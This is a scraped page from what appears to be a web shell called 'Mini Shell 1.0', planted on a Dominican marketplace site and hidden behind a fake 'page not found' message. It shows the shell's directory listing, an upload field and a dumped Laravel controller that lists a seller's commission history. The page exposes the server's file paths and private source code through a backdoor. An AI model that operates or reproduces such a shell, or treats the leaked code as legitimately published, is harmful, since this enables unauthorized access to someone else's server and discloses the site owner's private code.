HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Seller/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Seller/CommissionHistoryController.php
<?php

namespace App\Http\Controllers\Seller;

use App\Models\CommissionHistory;
use Auth;
use Illuminate\Http\Request;

class CommissionHistoryController extends Controller {
    public function index(Request $request) {
        $seller_id = null;
        $date_range = null;

        $commission_history = CommissionHistory::query()->latest()->whereHas('order', function ($query) {
            $query->where('seller_id', Auth::id());
        });

        if ($request->date_range) {
            $date_range = $request->date_range;
            $date_range1 = explode(" / ", $request->date_range);
            $commission_history = $commission_history->where('created_at', '>=', $date_range1[0]);
            $commission_history = $commission_history->where('created_at', '<=', $date_range1[1]);
        }

        $commission_history = $commission_history->paginate(10);

        return view('seller.commission_history.index', compact('commission_history', 'seller_id', 'date_range'));
    }
}